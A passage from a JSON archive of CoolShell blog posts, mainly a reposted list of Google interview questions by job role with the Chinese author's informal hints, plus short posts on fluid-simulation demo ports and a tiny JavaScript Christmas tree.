版权限制和免费并不是最好的，而最根本的是尊重用户的自由权以及不断地化繁为简以改善用户的体验。\n\n\n另，题外话，最近一段时间都在招人，有一天，一个同事和我说，“现在的这些程序员怎么回事啊？我问他们：‘你心目中的最牛的程序员是谁？’，居然回答不出来，有人说是Bill Gates，还有人说是马云，气死我了……”。我想想也真是可笑，难道，Dijkstra，Linus，Ken Thompson，Dennis Ritchie，Richard Steven，Bjarne Stroustrup…… 这些人不认识吗？就知道有钱人，哎，这个时代真是个文化缺失的年代！。\n\n\n推荐本站的几篇文章：[Unix传奇(上篇)](https://coolshell.cn/articles/2322.html)、[Unix传奇(下篇)](https://coolshell.cn/articles/2324.html)、[计算机编程简史图](https://coolshell.cn/articles/2724.html)、[黑客的价值观](https://coolshell.cn/articles/2439.html)。\n\n\n其实细想一下，不单单是我国的计算机文化都是那些肤浅的大公司的文化。\n\n\n最后还是送给大家那句话——**真正让我们成为局域网的不是那个墙，而是我们自己的肤浅**。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [偷了世界的程序员](https://coolshell.cn/articles/3363.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-2 140个Google的面试题.md",
    "content": "---\nlayout: post\ntitle: 140个Google的面试题\ndate: 2010/12/2/ 0:44:24\nupdated: 2010/12/2/ 0:44:24\nstatus: publish\npublished: true\ntype: post\n---\n\n来源：<http://blog.seattleinterviewcoach.com/2009/02/140-google-interview-questions.html>（墙）  \n\n![](../wp-content/uploads/2010/12/googlequestion-300x225.jpg \"Google 面试题 \")\n\n\n某猎头收集了140多个Google的面试题，都张到他的Blog中了，主要是下面这些职位的，因为被墙，且无任何敏感信息，所以，我原文搬过来了。\n\n* Product Marketing Manager\n* Product Manager\n* Software Engineer\n* Software Engineer in Test\n* Quantitative Compensation Analyst\n* Engineering Manager\n* AdWords Associate\n\n\n\n这篇Blog例举了Google用来面试下面这几个职位的面试题。很多不是很容易回答，不过都比较经典与变态，是Google，Microsoft，Amazon之类的公司的风格。对于本文，我没有翻译，因为我相信，英文问题是最好的。不过对于有些问题，我做了一些注释，不一定对，但希望对你有帮助启发。对于一些问题，如果你百思不得其解，可以Google一下，StackOverflow或是Wikipedia上可能会给你非常全面的答案。\n\n\n\n**Product Marketing Manager**\n\n\n* Why do you want to join Google?\n* What do you know about Google’s product and technology?\n* If you are Product Manager for Google’s Adwords, how do you plan to market this?\n* What would you say during an AdWords or AdSense product seminar?\n* Who are Google’s competitors, and how does Google compete with them?\n* Have you ever used Google’s products? Gmail?\n* What’s a creative way of marketing Google’s brand name and product?\n* If you are the product marketing manager for Google’s Gmail product, how do you plan to market it so as to achieve 100 million customers in 6 months?\n* How much money you think Google makes daily from Gmail ads?\n* Name a piece of technology you’ve read about recently. Now tell me your own creative execution for an ad for that product.\n* Say an advertiser makes $0.10 every time someone clicks on their ad. Only 20% of people who visit the site click on their ad. How many people need to visit the site for the advertiser to make $20?\n* Estimate the number of students who are college seniors, attend four-year schools, and graduate with a job in the United States every year.\n\n\n\n\n**Product Manager**\n\n\n* How would you boost the GMail subscription base?\n* What is the most efficient way to sort a million integers?  （陈皓：merge sort）\n* How would you re-position Google’s offerings to counteract competitive threats from Microsoft?\n* How many golf balls can fit in a school bus? （陈皓：这种题一般来说是考你的解题思路的，注意，你不能单纯地把高尔夫球当成一个小立方体，其是一个圆球，堆起来的时候应该是错开的——也就是三个相邻的球的圆心是个等边三角形）\n* You are shrunk to the height of a nickel and your mass is proportionally reduced so as to maintain your original density. You are then thrown into an empty glass blender. The blades will start moving in 60 seconds. What do you do?\n* How much should you charge to wash all the windows in Seattle?\n* How would you find out if a machine’s stack grows up or down in memory?\n* Explain a database in three sentences to your eight-year-old nephew. （陈皓：用三句话向8岁的侄子解释什么是数据库，考你的表达能力了）\n* How many times a day does a clock’s hands overlap?（陈皓：经典的时钟问题）\n* You have to get from point A to point B. You don’t know if you can get there. What would you do?\n* Imagine you have a closet full of shirts. It’s very hard to find a shirt. So what can you do to organize your shirts for easy retrieval? （陈皓：很不错的一道题，不要以为分类查询很容易，想想图书馆图书的分类查询问题吧。另外，你处想想如何在你在你的衣柜里实现一个相当于Hash表或是一个Tree之类的数据结构）\n* Every man in a village of 100 married couples has cheated on his wife. Every wife in the village instantly knows when a man other than her husband has cheated, but does not know when her own husband has. The village has a law that does not allow for adultery. Any wife who can prove that her husband is unfaithful must kill him that very day. The women of the village would never disobey this law. One day, the queen of the village visits and announces that at least one husband has been unfaithful. What happens? （陈皓：这个问题很有限制级，哈哈，非常搞的一个问题，注意wife们的递归，这类的问题是经典的分布式通讯问题，上网搜 一搜吧。）\n* In a country in which people only want boys, every family continues to have children until they have a boy. If they have a girl, they have another child. If they have a boy, they stop. What is the proportion of boys to girls in the country?（陈皓：第一反应是——这个国家是中国。一个概率问题，其实，无论你怎么生，50%的概率是永远不变的。）\n* If the probability of observing a car in 30 minutes on a highway is 0.95, what is the probability of observing a car in 10 minutes (assuming constant default probability)?\n* If you look at a clock and the time is 3:15, what is the angle between the hour and the minute hands? (The answer to this is not zero!)\n* Four people need to cross a rickety rope bridge to get back to their camp at night. Unfortunately, they only have one flashlight and it only has enough light left for seventeen minutes. The bridge is too dangerous to cross without a flashlight, and it’s only strong enough to support two people at any given time. Each of the campers walks at a different speed. One can cross the bridge in 1 minute, another in 2 minutes, the third in 5 minutes, and the slow poke takes 10 minutes to cross. How do the campers make it across in 17 minutes?（陈皓：经典的过桥问题）\n* You are at a party with a friend and 10 people are present including you and the friend. your friend makes you a wager that for every person you find that has the same birthday as you, you get $1; for every person he finds that does not have the same birthday as you, he gets $2. would you accept the wager?\n* How many piano tuners are there in the entire world?\n* You have eight balls all of the same size. 7 of them weigh the same, and one of them weighs slightly more. How can you find the ball that is heavier by using a balance and only two weighings?（陈皓：经典的称重问题。这样的问题花样很多，不过都不难回答）\n* You have five pirates, ranked from 5 to 1 in descending order. The top pirate has the right to propose how 100 gold coins should be divided among them. But the others get to vote on his plan, and if fewer than half agree with him, he gets killed. How should he allocate the gold in order to maximize his share but live to enjoy it? (Hint: One pirate ends up with 98 percent of the gold.)\n* You are given 2 eggs. You have access to a 100-story building. Eggs can be very hard or very fragile means it may break if dropped from the first floor or may not even break if dropped from 100th floor. Both eggs are identical. You need to figure out the highest floor of a 100-story building an egg can be dropped without breaking. The question is how many drops you need to make. You are allowed to break 2 eggs in the process. （陈皓：从3的倍数的楼层开始扔，比如3，6，9，12…..，如果鸡蛋在3n层碎了，那到在3n-1层扔第二个鸡蛋，如果没碎，则最高不碎楼层为3n-1，否则为3n-2）\n* Describe a technical problem you had and how you solved it.\n* How would you design a simple search engine?\n* Design an evacuation plan for San Francisco.\n* There’s a latency problem in South Africa. Diagnose it. （陈皓：这个问题完全是在考你的解决问题的能力。没有明确的答案。不过，解决性能问题的第一步通常是找出瓶颈，找瓶颈有很多种方法，工具，二分查，时间记录等等。）\n* What are three long term challenges facing Google?\n* Name three non-Google websites that you visit often and like. What do you like about the user interface and design? Choose one of the three sites and comment on what new feature or project you would work on. How would you design it?\n* If there is only one elevator in the building, how would you change the design? How about if there are only two elevators in the building? （陈皓：经典的电梯设计问题，这种问题千变万化，主要是考你的设计能力和需求变化的适变能力，与此相似的是酒店订房系统。）\n* How many vacuum’s are made per year in USA?\n\n\n\n\n\n**Software Engineer**\n\n\n* Why are manhole covers round? （陈皓：为什么下水井盖是圆的？这是有N种答案的，上Wiki看看吧）\n* What is the difference between a mutex and a semaphore? Which one would you use to protect access to an increment operation?\n* A man pushed his car to a hotel and lost his fortune. What happened? （陈皓：脑筋急转弯？他在玩大富翁游戏？！！）\n* Explain the significance of “dead beef”.（陈皓：要是你看到的是16进制 DEAD BEEF，你会觉得这是什么？IPv6的地址？）\n* Write a C program which measures the the speed of a context switch on a UNIX/Linux system.\n* Given a function which produces a random integer in the range 1 to 5, write a function which produces a random integer in the range 1 to 7.（陈皓：上StackOverflow看看吧，经典的问题）\n* Describe the algorithm for a depth-first graph traversal.\n* Design a class library for writing card games. （陈皓：用一系列的类来设计一个扑克游戏，设计题）\n* You need to check that your friend, Bob, has your correct phone number, but you cannot ask him directly. You must write a the question on a card which and give it to Eve who will take the card to Bob and return the answer to you. What must you write on the card, besides the question, to ensure Bob can encode the message so that Eve cannot read your phone number?（陈皓：协议+数字加密，我试想了一个，纸条上可以这样写，“Bob，请把我的手机号以MD5算法加密后的字符串，比对下面的字符串——XXXXXX，它们是一样的吗？”）\n* How are cookies passed in the HTTP protocol?\n* Design the SQL database tables for a car rental database.\n* Write a regular expression which matches a email address. （陈皓：上StackOverflow查相当的问题吧。）\n* Write a function f(a, b) which takes two character string arguments and returns a string containing only the characters found in both strings in the order of a. Write a version which is order N-squared and one which is order N.（陈皓：算法题，不难，不说了。一个O(n^2)和一个O(n)的算法复杂度）\n* You are given a the source to a application which is crashing when run. After running it 10 times in a debugger, you find it never crashes in the same place. The application is single threaded, and uses only the C standard library. What programming errors could be causing this crash? How would you test each one? （陈皓：和随机数有关系？或是时间？）\n* Explain how congestion control works in the TCP protocol.\n* In Java, what is the difference between final, finally, and finalize?\n* What is multithreaded programming? What is a deadlock?\n* Write a function (with helper functions if needed) called to Excel that takes an excel column value (A,B,C,D…AA,AB,AC,… AAA..) and returns a corresponding integer value (A=1,B=2,… AA=26..).\n* You have a stream of infinite queries (ie: real time Google search queries that people are entering). Describe how you would go about finding a good estimate of 1000 samples from this never ending set of data and then write code for it.\n* Tree search algorithms. Write BFS and DFS code, explain run time and space requirements. Modify the code to handle trees with weighted edges and loops with BFS and DFS, make the code print out path to goal state.\n* You are given a list of numbers. When you reach the end of the list you will come back to the beginning of the list (a circular list). Write the most efficient algorithm to find the minimum # in this list. Find any given # in the list. The numbers in the list are always increasing but you don’t know where the circular list begins, ie: 38, 40, 55, 89, 6, 13, 20, 23, 36. （陈皓：循环排序数组的二分查找问题）\n* Describe the data structure that is used to manage memory. (stack)\n* What’s the difference between local and global variables?\n* If you have 1 million integers, how would you sort them efficiently? (modify a specific sorting algorithm to solve this)\n* In Java, what is the difference between static, final, and const. (if you don’t know Java they will ask something similar for C or C++).\n* Talk about your class projects or work projects (pick something easy)… then describe how you could make them more efficient (in terms of algorithms).\n* Suppose you have an NxN matrix of positive and negative integers. Write some code that finds the sub-matrix with the maximum sum of its elements.（陈皓：以前见过一维数组的这个问题，现在是二维的。感觉应该是把二维的第一行的最大和的区间算出来，然后再在这个基础之上进行二维的分析。思路应该是这个，不过具体的算法还需要想一想）\n* Write some code to reverse a string.\n* Implement division (without using the divide operator, obviously).（陈皓：想一想手算除法的过程。）\n* Write some code to find all permutations of the letters in a particular string.\n* What method would you use to look up a word in a dictionary? （陈皓：使用排序，哈希，树等算法和数据结构）\n* Imagine you have a closet full of shirts. It’s very hard to find a shirt. So what can you do to organize your shirts for easy retrieval?\n* You have eight balls all of the same size. 7 of them weigh the same, and one of them weighs slightly more. How can you fine the ball that is heavier by using a balance and only two weighings?\n* What is the C-language command for opening a connection with a foreign host over the internet?\n* Design and describe a system/application that will most efficiently produce a report of the top 1 million Google search requests. These are the particulars: 1) You are given 12 servers to work with. They are all dual-processor machines with 4Gb of RAM, 4x400GB hard drives and networked together.(Basically, nothing more than high-end PC’s) 2) The log data has already been cleaned for you. It consists of 100 Billion log lines, broken down into 12 320 GB files of 40-byte search terms per line. 3) You can use only custom written applications or available free open-source software.\n* There is an array A[N] of N numbers. You have to compose an array Output[N] such that Output[i] will be equal to multiplication of all the elements of A[N] except A[i]. For example Output[0] will be multiplication of A[1] to A[N-1] and Output[1] will be multiplication of A[0] and from A[2] to A[N-1]. Solve it without division operator and in O(n).（陈皓：注意其不能使用除法。算法思路是这样的，把output[i]=a[i]左边的乘积 x a[i]右边的乘积，所以，我们可以分两个循环，第一次先把A[i]左边的乘积放在Output[i]中，第二次把A[i]右边的乘积算出来。我们先看第一次的循环，使用迭代累积的方式，代码如下：for(r=1; i=0; i<n-1; i++){ Output[i]=r; r\\*=a[i]; }，看明白了吧。第二次的循环我就不说了，方法一样的。）\n* There is a linked list of numbers of length N. N is very large and you don’t know N. You have to write a function that will return k random numbers from the list. Numbers should be completely random. Hint: 1. Use random function rand() (returns a number between 0 and 1) and irand() (return either 0 or 1) 2. It should be done in O(n).（陈皓：本题其实不难。在遍历链表的同时一边生成随机数，一边记录最大的K个随机数和其链接地址。）\n* Find or determine non existence of a number in a sorted list of N numbers where the numbers range over M, M>> N and N large enough to span multiple disks. Algorithm to beat O(log n) bonus points for constant time algorithm.（陈皓：使用bitmap，如果一个长整形有64位，那么我们可以使用M/64个bitmap）\n* You are given a game of Tic Tac Toe. You have to write a function in which you pass the whole game and name of a player. The function will return whether the player has won the game or not. First you to decide which data structure you will use for the game. You need to tell the algorithm first and then need to write the code. Note: Some position may be blank in the game। So your data structure should consider this condition also.\n* You are given an array [a1 To an] and we have to construct another array [b1 To bn] where bi = a1\\*a2\\*…\\*an/ai. you are allowed to use only constant space and the time complexity is O(n). No divisions are allowed.（陈皓：前面说过了）\n* How do you put a Binary Search Tree in an array in a efficient manner. Hint :: If the node is stored at the ith position and its children are at 2i and 2i+1(I mean level order wise)Its not the most efficient way.（陈皓：按顺序遍历树）\n* How do you find out the fifth maximum element in an Binary Search Tree in efficient manner. Note: You should not use use any extra space. i.e sorting Binary Search Tree and storing the results in an array and listing out the fifth element.\n* Given a Data Structure having first n integers and next n chars. A = i1 i2 i3 … iN c1 c2 c3 … cN.Write an in-place algorithm to rearrange the elements of the array ass A = i1 c1 i2 c2 … in cn（陈皓：这个算法其实就是从中间开始交换元素，代码：for(i=n-1; i>1; i++) {  for(j=i; j<2\\*n-i; j+=2) { swap(a[j], a[j+1]); } }，不好意思写在同一行上了。）\n* Given two sequences of items, find the items whose absolute number increases or decreases the most when comparing one sequence with the other by reading the sequence only once.\n* Given That One of the strings is very very long , and the other one could be of various sizes. Windowing will result in O(N+M) solution but could it be better? May be NlogM or even better?\n* How many lines can be drawn in a 2D plane such that they are equidistant from 3 non-collinear points?\n* Let’s say you have to construct Google maps from scratch and guide a person standing on Gateway of India (Mumbai) to India Gate(Delhi). How do you do the same?\n* Given that you have one string of length N and M small strings of length L. How do you efficiently find the occurrence of each small string in the larger one?\n* Given a binary tree, programmatically you need to prove it is a binary search tree.\n* You are given a small sorted list of numbers, and a very very long sorted list of numbers – so long that it had to be put on a disk in different blocks. How would you find those short list numbers in the bigger one?\n* Suppose you have given N companies, and we want to eventually merge them into one big company. How many ways are theres to merge?\n* Given a file of 4 billion 32-bit integers, how to find one that appears at least twice? （陈皓：我能想到的是拆分成若干个小数组，排序，然后一点点归并起来）\n* Write a program for displaying the ten most frequent words in a file such that your program should be efficient in all complexity measures.（陈皓：你可能需要看看这篇文章[Finding Frequent Items in Data Streams](http://www.cs.rutgers.edu/~farach/pubs/FrequentStream.pdf)）\n* Design a stack. We want to push, pop, and also, retrieve the minimum element in constant time.\n* Given a set of coin denominators, find the minimum number of coins to give a certain amount of change.（陈皓：你应该查看一下这篇文章：[Coin Change Problem](http://www.algorithmist.com/index.php/Coin_Change)）\n* Given an array, i) find the longest continuous increasing subsequence. ii) find the longest increasing subsequence.（陈皓：这个题不难，O(n)算法是边遍历边记录当前最大的连续的长度。）\n* Suppose we have N companies, and we want to eventually merge them into one big company. How many ways are there to merge?\n* Write a function to find the middle node of a single link list. （陈皓：我能想到的算法是——设置两个指针p1和p2，每一次，p1走两步，p2走一步，这样，当p1走到最后时，p2就在中间）\n* Given two binary trees, write a compare function to check if they are equal or not. Being equal means that they have the same value and same structure.（陈皓：这个很简单，使用递归算法。）\n* Implement put/get methods of a fixed size cache with LRU replacement algorithm.\n* You are given with three sorted arrays ( in ascending order), you are required to find a triplet ( one element from each array) such that distance is minimum. Distance is defined like this : If a[i], b[j] and c[k] are three elements then distance=max(abs(a[i]-b[j]),abs(a[i]-c[k]),abs(b[j]-c[k]))” Please give a solution in O(n) time complexity（陈皓：三个指针，a, b, c分别指向三个数组头，假设：a[0]<b[0]<c[0]，推进a直到a[i]>b[0]，计算 abs(a[i-1] – c[0])，把结果保存在min中。现在情况变成找 a[i], b[0],c[0]，重复上述过程，如果有一个新的值比min要小，那就取代现有的min。）\n* How does C++ deal with constructors and deconstructors of a class and its child class?\n* Write a function that flips the bits inside a byte (either in C++ or Java). Write an algorithm that take a list of n words, and an integer m, and retrieves the mth most frequent word in that list.\n* What’s 2 to the power of 64?\n* Given that you have one string of length N and M small strings of length L. How do you efficiently find the occurrence of each small string in the larger one? （陈皓：我能想到的是——把那M个小字串排个序，然后遍历大字串，并在那M个字串中以二分取中的方式查找。）\n* How do you find out the fifth maximum element in an Binary Search Tree in efficient manner.\n* Suppose we have N companies, and we want to eventually merge them into one big company. How many ways are there to merge?\n* There is linked list of millions of node and you do not know the length of it. Write a function which will return a random number from the list.\n* You need to check that your friend, Bob, has your correct phone number, but you cannot ask him directly. You must write a the question on a card which and give it to Eve who will take the card to Bob and return the answer to you. What must you write on the card, besides the question, to ensure Bob can encode the message so that Eve cannot read your phone number?\n* How long it would take to sort 1 trillion numbers? Come up with a good estimate.\n* Order the functions in order of their asymptotic performance: 1) 2^n 2) n^100 3) n! 4) n^n\n* There are some data represented by(x,y,z). Now we want to find the Kth least data. We say (x1, y1, z1) > (x2, y2, z2) when value(x1, y1, z1) > value(x2, y2, z2) where value(x,y,z) = (2^x)\\*(3^y)\\*(5^z). Now we can not get it by calculating value(x,y,z) or through other indirect calculations as lg(value(x,y,z)). How to solve it?\n* How many degrees are there in the angle between the hour and minute hands of a clock when the time is a quarter past three?\n* Given an array whose elements are sorted, return the index of a the first occurrence of a specific integer. Do this in sub-linear time. I.e. do not just go through each element searching for that element.\n* Given two linked lists, return the intersection of the two lists: i.e. return a list containing only the elements that occur in both of the input lists. （陈皓：把第一个链表存入hash表，然后遍历第二个链表。不知道还没有更好的方法。）\n* What’s the difference between a hashtable and a hashmap?\n* If a person dials a sequence of numbers on the telephone, what possible words/strings can be formed from the letters associated with those numbers?（陈皓：这个问题和美国的电话有关系，大家可以试着想一下我们发短信的手机，按数字键出字母，一个组合的数学问题。）\n* How would you reverse the image on an n by n matrix where each pixel is represented by a bit?\n* Create a fast cached storage mechanism that, given a limitation on the amount of cache memory, will ensure that only the least recently used items are discarded when the cache memory is reached when inserting a new item. It supports 2 functions: String get(T t) and void put(String k, T t).\n* Create a cost model that allows Google to make purchasing decisions on to compare the cost of purchasing more RAM memory for their servers vs. buying more disk space.\n* Design an algorithm to play a game of Frogger and then code the solution. The object of the game is to direct a frog to avoid cars while crossing a busy road. You may represent a road lane via an array. Generalize the solution for an N-lane road.\n* What sort would you use if you had a large data set on disk and a small amount of ram to work with?\n* What sort would you use if you required tight max time bounds and wanted highly regular performance.\n* How would you store 1 million phone numbers?（陈皓：试想电话是有区段的，可以把区段统一保存，Flyweight设计模式）\n* Design a 2D dungeon crawling game. It must allow for various items in the maze – walls, objects, and computer-controlled characters. (The focus was on the class structures, and how to optimize the experience for the user as s/he travels through the dungeon.)\n* What is the size of the C structure below on a 32-bit system? On a 64-bit? （陈皓：注意编译器的对齐）\n\n\nstruct foo {\n\n\nchar a;\nchar\\* b;\n};\n\n\n**Software Engineer in Test**\n\n* Efficiently implement 3 stacks in a single array.\n* Given an array of integers which is circularly sorted, how do you find a given integer.\n* Write a program to find depth of binary search tree without using recursion.\n* Find the maximum rectangle (in terms of area) under a histogram in linear time.\n* Most phones now have full keyboards. Before there there three letters mapped to a number button. Describe how you would go about implementing spelling and word suggestions as people type.\n* Describe recursive mergesort and its runtime. Write an iterative version in C++/Java/Python.\n* How would you determine if someone has won a game of tic-tac-toe on a board of any size?\n* Given an array of numbers, replace each number with the product of all the numbers in the array except the number itself \\*without\\* using division.\n* Create a cache with fast look up that only stores the N most recently accessed items.\n* How to design a search engine? If each document contains a set of keywords, and is associated with a numeric attribute, how to build indices?\n* Given two files that has list of words (one per line), write a program to show the intersection.\n* What kind of data structure would you use to index annagrams of words? e.g. if there exists the word “top” in the database, the query for “pot” should list that.\n\n\n\n**Quantitative Compensation Analyst**\n\n\n\n* What is the yearly standard deviation of a stock given the monthly standard deviation?\n* How many resumes does Google receive each year for software engineering?\n* Anywhere in the world, where would you open up a new Google office and how would you figure out compensation for all the employees at this new office?\n* What is the probability of breaking a stick into 3 pieces and forming a triangle?\n\n\n\n**Engineering Manager**\n\n* You’re the captain of a pirate ship, and your crew gets to vote on how the gold is divided up. If fewer than half of the pirates agree with you, you die. How do you recommend apportioning the gold in such a way that you get a good share of the booty, but still survive?\n\n\n\n**AdWords Associate**\n\n* How would you work with an advertiser who was not seeing the benefits of the AdWords relationship due to poor conversions?\n* How would you deal with an angry or frustrated advertisers on the phone?\n\n\n\n*Sources*\n<http://news.ycombinator.com/item?id=266663> \n<http://tihomir.org/crazy-questions-at-google-job-interview/>  \n\n\n<http://www.drizzle.com/~jpaint/google.html>  \n\n\n<http://www.gamedev.net/community/forums/topic.asp?topic_id=299692>  \n\n\n<http://careers.cse.sc.edu/googleinterview>  \n\n\n<http://job-interview.blogspot.com/2005/02/google-interview-product-marketing.html>  \n\n\n<http://www.theregister.co.uk/2007/01/05/google_interview_tales/>  \n\n\n<http://money.cnn.com/2007/08/29/technology/brain_teasers.biz2/index.htm>  \n\n\n[http://blogs.lessthandot.com/index.php/ITProfessionals/EthicsIT/google-interview-questions](http://money.cnn.com/2007/08/29/technology/brain_teasers.biz2/index.htm)  \n\n\n<http://placementsindia.blogspot.com/2007/09/google-top-interview-puzzles.html>  \n\n\n<http://linkmingle.com/user/interview_questions/google_interview_questions>  \n\n\n<http://discuss.joelonsoftware.com/default.asp?interview.11.626758.33>  \n\n\n<http://mindcipher.com/puzzle/78-clock-works>  \n\n\n<http://www.glassdoor.com>\n\n<http://bluepixel.ca/blog/?p=69>\n <http://www.businessinsider.com/my-nightmare-interviews-with-google-2009-11>\n  \n\n\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![为什么我反对纯算法面试题](../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg)](https://coolshell.cn/articles/8138.html)[为什么我反对纯算法面试题](https://coolshell.cn/articles/8138.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/4976.html)[给程序员新手的一些建议](https://coolshell.cn/articles/4976.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4506.html)[再谈“我是怎么招聘程序员的”（上）](https://coolshell.cn/articles/4506.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/4490.html)[再谈“我是怎么招聘程序员的”（下）](https://coolshell.cn/articles/4490.html)\nThe post [140个Google的面试题](https://coolshell.cn/articles/3345.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-21 流体力学的演示.md",
    "content": "---\nlayout: post\ntitle: 流体力学的演示\ndate: 2010/12/21/ 0:49:35\nupdated: 2010/12/21/ 0:49:35\nstatus: publish\npublished: true\ntype: post\n---\n\n某人用Java搞了一个流体力学的演示。\n\n\n<http://grantkot.com/MPM/Liquid.html>\n\n\n![](../wp-content/uploads/2010/12/Liquid.jpg \"流体力学的演示\")\n\n\n不过，这仅仅是个开始。某同学将其发布上了reddit.com，于是，全世界的同学们开始给力了——\n\n\n\nFlash的开发者首先不服，搞了个 flash版（带源码）：\n\n\n<http://wonderfl.net/c/yxe9>\n\n\n看到了Flash版，Javascript+HTML5的同学们也不干了，于是出现HTML5版（带源码）：\n\n\n<http://www.music.mcgill.ca/~sinclair/content/blog/liquid_simulator_ported_to_canvas>\n\n\n不过性能慢了很多，所以，又有人优化了一下HTML5版的程序:\n\n\n<http://jsbin.com/unovo4>\n\n\nSVG的同学们也不甘寂寞，不过，那真叫一个慢啊。\n\n\n<http://ulo.pe/js-liquid-svg/>\n\n\n这个时候，C/C++同学出来了，使用SDL库也搞了一个：\n\n\n<http://q3k.org/fluidsim.zip>\n\n\n——————\n\n\n短短几天里，被人重写成各种语言。这个程序写起来真的很简单吗？是我out了吗？\n\n\n**更新- iPhone和iPad版的**： <http://www.infi.nl/blog/view/id/98/Liquid_on_iPhone_and_iPad>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![那些曾伴我走过编程之路的软件](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png)](https://coolshell.cn/articles/5576.html)[那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![C++的坑真的多吗？](../wp-content/uploads/2012/08/cpp_small-150x150.jpg)](https://coolshell.cn/articles/7992.html)[C++的坑真的多吗？](https://coolshell.cn/articles/7992.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\nThe post [流体力学的演示](https://coolshell.cn/articles/3421.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-27 程序员的圣诞节.md",
    "content": "---\nlayout: post\ntitle: 程序员的圣诞节\ndate: 2010/12/27/ 0:43:32\nupdated: 2010/12/27/ 0:43:32\nstatus: publish\npublished: true\ntype: post\n---\n\n程序员Román Cortés用1021个字节写了一个[3D 的圣诞树](http://js1k.com/2010-xmas/demo/856)，很强大。（请使用Chrome浏览器查看），还记得[本站介绍的那个叫js1k.com的网站](https://coolshell.cn/articles/2785.html)吗？\n\n\n[http://www.romancortes.com/ficheros/arbol_0.jpg](http://js1k.com/2010-xmas/demo/856 \" 3D Christmas tree\")\n\n\n其原理如下所示：\n\n\n\n<http://www.romancortes.com/blog/how-i-did-the-1kb-christmas-tree/>\n\n\nhttp://www.romancortes.com/ficheros/arbol_1.gif\n\n\nhttp://www.romancortes.com/ficheros/arbol_2.gif\n\n\nhttp://www.romancortes.com/ficheros/arbol_3.gif\n\n\nhttp://www.romancortes.com/ficheros/arbol_4.gif\n\n\nhttp://www.romancortes.com/ficheros/arbol_5.gif\n\n\nhttp://www.romancortes.com/ficheros/arbol_6.gif\n\n\n——————————————\n\n\n还有另外一个叫Dustin DeWeese程序员，也做了一个贺卡给大家（请点下面的链接）。这个贺卡需要向下滚动网页才能看得出效果来，no Javascript。\n\n\n<http://www.hackerfoo.com.nyud.net/christmas/christmas.html>\n\n\n这种使用遮罩而产生的动画的东西确实很有意思：<http://blogoscoped.com/files/stripes.html>，有一个小工具可以用来创建这样的东西：<http://dl.dropbox.com/u/15095913/Scanimation_Creation_v1.1.zip>\n\n\n呵呵。挺有意思的吧。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/2785.html)[JS1K 演示](https://coolshell.cn/articles/2785.html)\n* 